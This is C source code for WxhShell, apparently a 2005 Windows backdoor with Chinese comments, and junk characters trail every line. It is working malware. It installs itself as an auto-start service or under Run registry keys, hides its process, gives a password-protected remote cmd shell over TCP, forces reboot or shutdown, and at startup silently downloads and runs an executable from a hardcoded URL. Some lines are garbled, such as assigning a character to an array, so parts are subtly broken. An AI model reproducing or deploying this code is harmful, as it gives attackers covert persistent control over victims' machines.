    if(Boot(SHUTDOWN)) QP?Z+P<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Tdl'y:..  
    else { y@G5I>v  
    closesocket(wsh); ,bCPO` 45  
    ExitThread(0); mMw&{7b:  
    } W&6P%0G/  
    break; B" wk:\zC  
    } UGPD5wX?  
  // 获取shell Tp`by 1s  
  case 's': { ('xu2 ;<  
    CmdShell(wsh); 'wX'}3_/g  
    closesocket(wsh); h2u> CXD  
    ExitThread(0); rj*4ZA?  
    break; !\8j[QS!  
  } 8+uwzBNZ:  
  // 退出 l\*}  
  case 'x': { 1HBch]J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '@Y@H,  
    CloseIt(wsh); 5_nkN`x  
    break; b'^ -$  
    } UPPDs"  
  // 离开 N.u)Mbe   
  case 'q': { pWB)N7x&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l0b Y  
    closesocket(wsh); R{+ Rvk  
    WSACleanup(); 3Cwqy#X#8  
    exit(1); VWmZ|9Ri  
    break; e4ajT  
        } "S^;X @#v  
  } w'.ny<Pe  
  } Vl?R?K=`~J  
OlFls 8#>  
  // 提示信息 kN;l@>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *Rj>// A  
} ,l` q  
  } Sz"J-3b^  
gNzQ"W=  
  return; nKh._bvfX  
} kkFE9:[-c&  
M>0=A  
// shell模块句柄 JMOQDo  
int CmdShell(SOCKET sock) g{f1JTJ7  
{ \A5cM\-  
STARTUPINFO si; VD +8j29  
ZeroMemory(&si,sizeof(si)); H4 & d,8:m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4fZ$&)0&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yc4mWB~gyU  
PROCESS_INFORMATION ProcessInfo; ~|pVz/s|G  
char cmdline[]="cmd"; }O@S ;[v S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z(3mhMJY  
  return 0; yGH'|`  
} ZqkP# ]+Y'  
JQE^ bcr  
// 自身启动模式 .7Ys@;>B  
int StartFromService(void) o'%F*>#v  
{ C&3#'/&  
typedef struct #* S0d1  
{ or ~o'  
  DWORD ExitStatus; B.K"1o  
  DWORD PebBaseAddress; VE6T&fz`  
  DWORD AffinityMask; yK0Q,   
  DWORD BasePriority; EUe2<G  
  ULONG UniqueProcessId; D_9&=a a'  
  ULONG InheritedFromUniqueProcessId; pR&cdO RsP  
}   PROCESS_BASIC_INFORMATION; 3. Qf^p  
~7b '4\  
PROCNTQSIP NtQueryInformationProcess; }` Q'!_`  
d^Ra1@0"q2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  #d*mG =  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rr*",a"}m  
@|%t<{y^I  
  HANDLE             hProcess; naXo < B  
  PROCESS_BASIC_INFORMATION pbi; DhY9)>4M  
iX.=8 ~3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rmn|"ZK  
  if(NULL == hInst ) return 0; X!CLOHVA a  
>;HbD p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X`:(-3T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xp1 +C{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~DPg):cZ  
{j,bV6X  
  if (!NtQueryInformationProcess) return 0; e&7GW9FSg  
~VUNN[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PFG):i-?  
  if(!hProcess) return 0; Z,,Da|edH  
BYVp~!u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }%y_Lc L  
xh @H@Q\  
  CloseHandle(hProcess); ?9v!UT&#  
y*\ M7}](  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X&^t 8  
if(hProcess==NULL) return 0; \H<'W"  
L`x:Y>C(  
HMODULE hMod; _"a(vfl#  
char procName[255]; {+z+6i  
unsigned long cbNeeded; rd0BvQ9TK  
aAu upPu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p4W->AVv$  
OWB^24Z&3  
  CloseHandle(hProcess); A]BG*  
. ~G>vVb  
if(strstr(procName,"services")) return 1; // 以服务启动 h}z^NX  
T {(6*^g<B  
  return 0; // 注册表启动 ?O\n!c  
} 6VQ*z8wLw  
=35EG{W(  
// 主模块 #TZYe4#f  
int StartWxhshell(LPSTR lpCmdLine) z.]t_`KuF9  
{ HG=!#-$9  
  SOCKET wsl; >B skw2  
BOOL val=TRUE; '8i np[_  
  int port=0; \0(QO8.  
  struct sockaddr_in door; mV`Z]-$$i  
# u^FB  
  if(wscfg.ws_autoins) Install(); *ta|,  
^%#v AS  
port=atoi(lpCmdLine); \KLWOj%  
+%?_1bGX>  
if(port<=0) port=wscfg.ws_port; ~Rk6@&ZS}  
HHWB_QaL  
  WSADATA data; ;'}1   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  4rwfY<G  
@ L%3}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I@+dE V`Lf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /Kwo^Q{  
  door.sin_family = AF_INET; &UbNp8h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M`Y~IG}  
  door.sin_port = htons(port); WSi Utf|g  
_ 97F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9!_`HE+(XJ  
closesocket(wsl); sA3 4`ZAa  
return 1; '"~|L>F%G  
} hP`3Ao  
 7I^(v Q  
  if(listen(wsl,2) == INVALID_SOCKET) { GLnj& Ve  
closesocket(wsl); %OfaBv&  
return 1; w;}P<K  
} ztgSd8GGE  
  Wxhshell(wsl); yew9bn0a=  
  WSACleanup(); /]F3t]FlC  
3UslVj1u  
return 0; 1f~unb\Gg  
o`M7:8G  
} i)+@'!6  
D7[ 8*^  
// 以NT服务方式启动  #XQEfa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C[&  \Xq  
{ EtcAU}9  
DWORD   status = 0; KNQX\-=  
  DWORD   specificError = 0xfffffff; b0 PF7PEEQ  
{]Nvq9?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x}AWWmXv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y*vs}G'W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HS="t3  
  serviceStatus.dwWin32ExitCode     = 0; TN.mNl%  
  serviceStatus.dwServiceSpecificExitCode = 0; A$;U*7TJuO  
  serviceStatus.dwCheckPoint       = 0; eMPi ho  
  serviceStatus.dwWaitHint       = 0; xo6-Y=c8  
Iy8Ehwejd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tL 3]9qfj  
  if (hServiceStatusHandle==0) return; 2e/ JFhA  
DFVaZN?~  
status = GetLastError(); ^7Z)/c`"  
  if (status!=NO_ERROR) jU@qQ@|  
{ $ze%! C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -PB m@}*  
    serviceStatus.dwCheckPoint       = 0; 80![aj}z4G  
    serviceStatus.dwWaitHint       = 0; xs.>+(@|;  
    serviceStatus.dwWin32ExitCode     = status; Br`Xw^S  
    serviceStatus.dwServiceSpecificExitCode = specificError; &h`s:Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Sg1\UTl  
    return; i0v;mc  
  } 8JJqEkQ  
Fv.}w_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %g kR G66  
  serviceStatus.dwCheckPoint       = 0; HP:ee+n  
  serviceStatus.dwWaitHint       = 0; 1bYc^(z0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i`FevAx;[m  
} iNe;h|  
^0pd- n@pn  
// 处理NT服务事件,比如:启动、停止 VI74{='=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aVNRhnM  
{ *q=pv8&*s  
switch(fdwControl) |k^'}n  
{ =v:vc~G6  
case SERVICE_CONTROL_STOP: ht (RX  
  serviceStatus.dwWin32ExitCode = 0; *_!nil3(i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pTprU)sa7  
  serviceStatus.dwCheckPoint   = 0; [_G_Wl'#8  
  serviceStatus.dwWaitHint     = 0; aiF7\^aw$  
  { -ce N}Cb3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Quu_S_ vH  
  } i,8h B(M!  
  return; ;8'hvc3i$  
case SERVICE_CONTROL_PAUSE: =;l .<{<VH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A Ns.`S  
  break; 4fT,/[k?  
case SERVICE_CONTROL_CONTINUE: JLT10c3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =$X5O&E3'  
  break; lr=? &>MXj  
case SERVICE_CONTROL_INTERROGATE: $k,Z)2  
  break; Ckj2$c~  
}; g1@zk $  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q]S~H+eRy  
} 5@ %$M$E  
MT [V1I{LV  
// 标准应用程序主函数 P6u9Ngay  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WldlN?[j  
{ }rj.N98  
4c_TrNwP  
// 获取操作系统版本 V: fz  
OsIsNt=GetOsVer(); =ps3=D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yH|[K=?S[  
9E'fM  
  // 从命令行安装 P(l$5x]g,  
  if(strpbrk(lpCmdLine,"iI")) Install(); B5GT^DaT  
E2 Q[  
  // 下载执行文件 yS^";$2Tc  
if(wscfg.ws_downexe) { mKugb_d?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b|^g51v  
  WinExec(wscfg.ws_filenam,SW_HIDE); R9A8)dDz  
} ]i(tou-[i  
'- oS=OrZ  
if(!OsIsNt) { v8Vw.Ce`f  
// 如果时win9x,隐藏进程并且设置为注册表启动 N7Kq$G2O  
HideProc(); 9]<p  
StartWxhshell(lpCmdLine); i,r O3J n  
} z#ab V1 Xi  
else P"Lk(gY  
  if(StartFromService()) {F6>XuS=u  
  // 以服务方式启动 {Fs}8\z  
  StartServiceCtrlDispatcher(DispatchTable); Bi;D d?.  
else =iW!Mq  
  // 普通方式启动 5%BexIk  
  StartWxhshell(lpCmdLine); [fx1H~T<  
}TY}sr  
return 0; ,pM~Phmp  
}  J -tOO  
7I;xRo|  
NRN3*YGo  
DDxbIkt  
=========================================== Yz(k4K L  
YT'G#U1x~  
a"SH_+T{  
2~dUnskyy  
7?!A~Seo|  
JL[$B1  
" m?'H 7cFR  
)hs"P%Zg  
#include <stdio.h> 6_]-&&Nr  
#include <string.h> 4Vl_vTz{i  
#include <windows.h> eG&\b-%  
#include <winsock2.h> d3-F?i 5d  
#include <winsvc.h> 2l]*><q|  
#include <urlmon.h> t5t,(^;f  
I,TJV)B  
#pragma comment (lib, "Ws2_32.lib") ,cZhkXd  
#pragma comment (lib, "urlmon.lib") l/1u>'  
R % [ZQ K  
#define MAX_USER   100 // 最大客户端连接数 ~A@T_ *0  
#define BUF_SOCK   200 // sock buffer cq lA"Eof  
#define KEY_BUFF   255 // 输入 buffer G&=4@pLY5  
yHhx- `  
#define REBOOT     0   // 重启 Le;;Yd}f  
#define SHUTDOWN   1   // 关机 x93h{K f  
Zk,` Iq  
#define DEF_PORT   5000 // 监听端口 )3K#${p  
.c__<I<G<  
#define REG_LEN     16   // 注册表键长度 E Q 'L"  
#define SVC_LEN     80   // NT服务名长度 )4:K@  
qTSyy=  
// 从dll定义API ~tK4C|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I|zak](HU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CD]hi,B_J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o>WB,i^G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <Qg).n>;z  
8(-V pU  
// wxhshell配置信息 4/KGrY! ck  
struct WSCFG { 4<V%7z_.B  
  int ws_port;         // 监听端口 3y^PKIIrt  
  char ws_passstr[REG_LEN]; // 口令 %Ms"LoK  
  int ws_autoins;       // 安装标记, 1=yes 0=no X$*MxMNs  
  char ws_regname[REG_LEN]; // 注册表键名 Pq\ `0/4_  
  char ws_svcname[REG_LEN]; // 服务名 L\0;)eJ#M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  N>ncv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w>#{Nl7gz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]oT8H?%*Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;f;A"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F1_s%&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w O H{L  
0s9-`nHen|  
}; y7CC5S ?  
g)?Ol  
// default Wxhshell configuration D5Zgi!  
struct WSCFG wscfg={DEF_PORT, yS#)F.  
    "xuhuanlingzhe", I0iTa99K  
    1, f( M$m,d  
    "Wxhshell", J?6.yL;  
    "Wxhshell", /x%h@Cn!  
            "WxhShell Service", %MG{KG=&o  
    "Wrsky Windows CmdShell Service", E_q/*}]pE  
    "Please Input Your Password: ", L hp  
  1, jej.!f:H  
  "http://www.wrsky.com/wxhshell.exe", ~[8n+p+&X  
  "Wxhshell.exe" rR Kbs@1M  
    }; CzMCd ~*7R  
%G0J]QY{(x  
// 消息定义模块 ;R5@]Hg6q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~7p!t%;$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G)|Xj70  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *y+N-uq  
char *msg_ws_ext="\n\rExit."; 1G}f83yR  
char *msg_ws_end="\n\rQuit."; 4^r4O#  
char *msg_ws_boot="\n\rReboot..."; iGq%|o>  
char *msg_ws_poff="\n\rShutdown..."; vHJOpQmt~  
char *msg_ws_down="\n\rSave to "; IRhi1{K$"  
* 'eE[/K  
char *msg_ws_err="\n\rErr!"; &}'FC7}  
char *msg_ws_ok="\n\rOK!"; $>JfLSyC  
#|PPkg%v<  
char ExeFile[MAX_PATH]; 7MWd(n-  
int nUser = 0; J.E Bt3  
HANDLE handles[MAX_USER]; 4nsc`Hu  
int OsIsNt; ]ilQq~X  
1.9bU/X  
SERVICE_STATUS       serviceStatus; (@DqKB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !S.O~Kq  
]z5kYU&  
// 函数声明 8H'ybfed  
int Install(void); DC samOA~  
int Uninstall(void); 1d$qr`  
int DownloadFile(char *sURL, SOCKET wsh); t1JU_P  
int Boot(int flag); ol0i^d*9F  
void HideProc(void); ^ps6\>=0cW  
int GetOsVer(void); &Fiesi!tET  
int Wxhshell(SOCKET wsl); W [*Go  
void TalkWithClient(void *cs); 4,,DA2^!  
int CmdShell(SOCKET sock); %p48=|+  
int StartFromService(void); H(hE;|q/  
int StartWxhshell(LPSTR lpCmdLine); HLe/|x\@<  
4s s 4O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ) $`}~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a(J@]X>'  
@m5c<(bkfp  
// 数据结构和表定义 N \~}`({  
SERVICE_TABLE_ENTRY DispatchTable[] = ')Q  
{ c@E;v<r'  
{wscfg.ws_svcname, NTServiceMain}, MzFFWk  
{NULL, NULL} v9\U2j  
}; Ucx"\/"  
z!M #   
// 自我安装 I4|LD/b  
int Install(void) xH\!j  
{ eJ*u]GH U  
  char svExeFile[MAX_PATH]; t$Bu<frQ  
  HKEY key; q+znb'i-x  
  strcpy(svExeFile,ExeFile); 8J#U=qYei  
/[=Yv!  
// 如果是win9x系统,修改注册表设为自启动 .@Lktc  
if(!OsIsNt) { uTdx`>M,O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GE8.{P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o;9 G{Xj3@  
  RegCloseKey(key); o)bKs>` U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SK5_^4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f, '*f:(  
  RegCloseKey(key); cR{F|0X  
  return 0; Z%Pv,h'Q  
    } zfD@/kU  
  } &cWC&Ws"  
} GlHP`&;UH  
else { mm9uhlV8  
=F2`X#x_j  
// 如果是NT以上系统,安装为系统服务 { 2%'=v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4Q!|fn0Sv  
if (schSCManager!=0) "38L ,PW0Z  
{ pO/vD~C>  
  SC_HANDLE schService = CreateService fN1b+ d~*6  
  ( Vx}e,(i  
  schSCManager, ddS3;Rk2  
  wscfg.ws_svcname, $bDaZGy  
  wscfg.ws_svcdisp, }[{9u#@#  
  SERVICE_ALL_ACCESS, O14\_eAu6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A<] $[2qPj  
  SERVICE_AUTO_START, ?y]R /?  
  SERVICE_ERROR_NORMAL, !|W.YbS  
  svExeFile, eslvg#Q  
  NULL, ]K3bDU~  
  NULL, <PFF\NE9  
  NULL, N%,zME  
  NULL, ~ _hA{$  
  NULL 8(Q|[  
  ); [_KV;qS%/  
  if (schService!=0) S n<X   
  { m68>`  
  CloseServiceHandle(schService); B^!-%_q  
  CloseServiceHandle(schSCManager); -e_|^T"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QH,Fw$1  
  strcat(svExeFile,wscfg.ws_svcname); x=Aq5*A0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Kx?.g#>U;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *;(^)Sj4Q  
  RegCloseKey(key); ?@z/#3b  
  return 0; 9Trk&OB  
    } FWB *=.A9  
  } 52 *ii  
  CloseServiceHandle(schSCManager); jo?[M  
} ~F53{qxV  
} l}iQ0v@  
3GNcnb  
return 1; =it@U/  
} jXVvVv  
L|Xg4Z  
// 自我卸载 hH9~.4+*`g  
int Uninstall(void) JljCI@  
{ 2">de/jS  
  HKEY key; `rXb:P7m{j  
1 +s;a]-C  
if(!OsIsNt) { !MrQ-B(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :.tL~% q  
  RegDeleteValue(key,wscfg.ws_regname); Qcks:|5  
  RegCloseKey(key); @U4hq7xzV2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1{5t.  
  RegDeleteValue(key,wscfg.ws_regname); ) "?eug}D  
  RegCloseKey(key); d&+0JI<  
  return 0; ?K;l 5$?%  
  } jU kxA7 }}  
} 1l/t|M^I  
} tUuARo7#  
else { ${E^OE  
A|,qjiEJCc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +~BP~  
if (schSCManager!=0) fdWqc_  
{ 0l4f%'f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >gs_Bzy]  
  if (schService!=0) ^Zp  
  { 3A{)C_1a  
  if(DeleteService(schService)!=0) { Zwz co  
  CloseServiceHandle(schService); x N7sFSV@  
  CloseServiceHandle(schSCManager); i6A9|G$H  
  return 0; eM 5#L,Y{  
  } z@ J>A![m  
  CloseServiceHandle(schService); kt0xR)gU  
  } #s81 k@#X  
  CloseServiceHandle(schSCManager); Gov.;hy  
} qo$ls\[X  
} yoJ.[M4q  
`|Hk+V  
return 1; hkyO_ns  
} 9J~\.:jH-  
 }JWkV1  
// 从指定url下载文件 o$Ylqb#  
int DownloadFile(char *sURL, SOCKET wsh) 9pPLOXr ,  
{ [= BMvP5  
  HRESULT hr; WF-jy7+  
char seps[]= "/"; 'l`prp3  
char *token; O@ H.k<zn  
char *file; $+f=l~/s  
char myURL[MAX_PATH]; "OA{[)fw"  
char myFILE[MAX_PATH]; !zm;C@}ln  
x@QNMK.7  
strcpy(myURL,sURL); 'e*w8h  
  token=strtok(myURL,seps); q*4U2_^.  
  while(token!=NULL) ~ +>e hU  
  { P[-do  
    file=token; *Ti"8^`6  
  token=strtok(NULL,seps); ]j>`BK>FE  
  } Q xA( *1  
83I 5n&)  
GetCurrentDirectory(MAX_PATH,myFILE); %k32:qe  
strcat(myFILE, "\\"); AD^I1 ]2f  
strcat(myFILE, file); yNEU/>]>2  
  send(wsh,myFILE,strlen(myFILE),0); yci}#,nb  
send(wsh,"...",3,0); +}M3O]?4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `'^o45  
  if(hr==S_OK) ;x 2o|#`b  
return 0; oGB|k]6]|  
else {l5fKVb\C  
return 1; \y:48zd  
"oNl!<ep  
} zeuj  
K6 >\4'q  
// 系统电源模块 0 }qlZFB  
int Boot(int flag) @MB)B5  
{ `Fo/RZOW  
  HANDLE hToken; |,5|ZpgL  
  TOKEN_PRIVILEGES tkp; $H[q5(_~  
5O d]rE  
  if(OsIsNt) { p4MWX12  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '8\9@wzv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b=xn(HE8|  
    tkp.PrivilegeCount = 1; $ ,]U~7S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~Gz9pBv1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e3W~6P  
if(flag==REBOOT) { j*gJP !  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kE .4 #  
  return 0; TwI s _r:  
} IQ_s]b;z  
else { c AO:fb7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $-Ex g*i  
  return 0; }zf!mlk  
} &mmaoWR  
  } 2nC,1%kxhq  
  else { rIJPgF  
if(flag==REBOOT) { UWqD)6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mICEJ\`x  
  return 0; YS){ N=g&'  
} ^iJyo&I  
else { 1=z[U|&R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %b<W]HwA  
  return 0; _p%n%Oce  
} $C5*@`GM$  
} 0"% dPKi  
;aW k-  
return 1; r *6S1bW  
} [RN]?,  
5|*`} ;/y  
// win9x进程隐藏模块 N'9T*&o+  
void HideProc(void) z8awND  
{ ;*<R~HJt  
uO eal^uS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1n!:L!,`  
  if ( hKernel != NULL ) -qDqJ62mC  
  { Jj+Q2D:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1<73uR&b%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rG6G~ |mS  
    FreeLibrary(hKernel); irD5;xk([  
  } K_YOp1  
 [. 9[?8  
return; ?..BA&zRk  
} 2O[sRm)  
Z;81 "   
// 获取操作系统版本 'xj5R=V  
int GetOsVer(void) l7qW)<r  
{ MkoK(m{7  
  OSVERSIONINFO winfo; r>peKo[X(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bV&9>fC  
  GetVersionEx(&winfo); bA#9'Qu^j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )V2W:M  
  return 1; #8"oqqYi  
  else =dDPQZEin  
  return 0; `sT;\  
} ,P`NtTN-  
/CNsGx%%  
// 客户端句柄模块 jL^@;"/XhC  
int Wxhshell(SOCKET wsl) czD" mI!  
{ %eg+ .  
  SOCKET wsh; IJGw<cB]+  
  struct sockaddr_in client; M=uT8JB  
  DWORD myID; gtu<#h(  
4/`;(*]Fv  
  while(nUser<MAX_USER) Z>g>OPu  
{ N=<`|I  
  int nSize=sizeof(client); CL1*pL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |*NZ^6`@  
  if(wsh==INVALID_SOCKET) return 1; )/>BgXwH  
O;<wD h)Yt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M['O`^  
if(handles[nUser]==0) 77O$^fG2  
  closesocket(wsh); [m0X kvd  
else /"?DOsJ.  
  nUser++; W<pr Y  
  } 8(\}\4G_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s<F*kLib  
+:;ddV  
  return 0; bp:`m>4<  
} Mg`!tFe3  
Dc-K08c  
// 关闭 socket .5G`Y  
void CloseIt(SOCKET wsh) jjj<B'zt  
{ ;(/go\m tB  
closesocket(wsh); N,Ma\D+^t  
nUser--; ErK1j  
ExitThread(0); -t|/g5.w_  
} 0d_)C>gcF  
)xV37]  
// 客户端请求句柄 ]E<Z5G1HD  
void TalkWithClient(void *cs) T\}U{9ELL  
{ O68-G  
Ldz]FB|  
  SOCKET wsh=(SOCKET)cs; WDIin6u-  
  char pwd[SVC_LEN]; *{w0=J[15  
  char cmd[KEY_BUFF]; M<w.q|P  
char chr[1]; K/ On|C  
int i,j; W7!gD  
'37 {$VHw  
  while (nUser < MAX_USER) { J#Hh4Kc  
H **tMq  
if(wscfg.ws_passstr) { V )<>W_g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XY'8oU`]{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R<&Euph  
  //ZeroMemory(pwd,KEY_BUFF); ``WTg4C(Y  
      i=0; '2r  
  while(i<SVC_LEN) { <x^$Fu  
Z?'CS|u d  
  // 设置超时 CwX?%$S   
  fd_set FdRead; G)?*BH  
  struct timeval TimeOut; M[mYG _{J  
  FD_ZERO(&FdRead); |"SZpx  
  FD_SET(wsh,&FdRead); cRnDAn#42  
  TimeOut.tv_sec=8; KNAvLcg  
  TimeOut.tv_usec=0; dRron_'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~{Iw[,MJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZR}v_]l^  
cpa" ,8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '\#q7YjaL  
  pwd=chr[0]; IEy$2f>Ns  
  if(chr[0]==0xd || chr[0]==0xa) { gLv+L]BnhH  
  pwd=0; aA|{r/.10K  
  break; %[p*6&V  
  } `}),wBq  
  i++; })-V,\  
    } 1YV1 Xnn,  
6m;>R%S_  
  // 如果是非法用户,关闭 socket *m"9F'(Sd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9xK>fM&u  
} w"9h_;'C_  
Z5q%L!4G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~JL qh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _VT{2`|})  
b \}a   
while(1) { caQ1SV^{9  
d%P2V>P  
  ZeroMemory(cmd,KEY_BUFF); FSQB{9,H  
7#E/Q~]'6  
      // 自动支持客户端 telnet标准   Z {^!z  
  j=0; n>v1<^  
  while(j<KEY_BUFF) { 2.Vrh@FNRo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bPOPoq1#  
  cmd[j]=chr[0]; e#;43=/Ia  
  if(chr[0]==0xa || chr[0]==0xd) { "rn  
  cmd[j]=0; G!I++M"  
  break; {A0F/#M]  
  } 6)^*DJy  
  j++; F-3=eKZ  
    } HKJCiQ|k  
1-p#}VX  
  // 下载文件 kc2B_+Y1  
  if(strstr(cmd,"http://")) { t08U9`w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MM32\}Y6  
  if(DownloadFile(cmd,wsh)) :5~Dca_iU4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UmVn:a  
  else <9pI~\@w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IE\RP!  
  } aftt^h  
  else { P}Ig6^[m\  
`?$-T5Rr  
    switch(cmd[0]) { QwhO /  
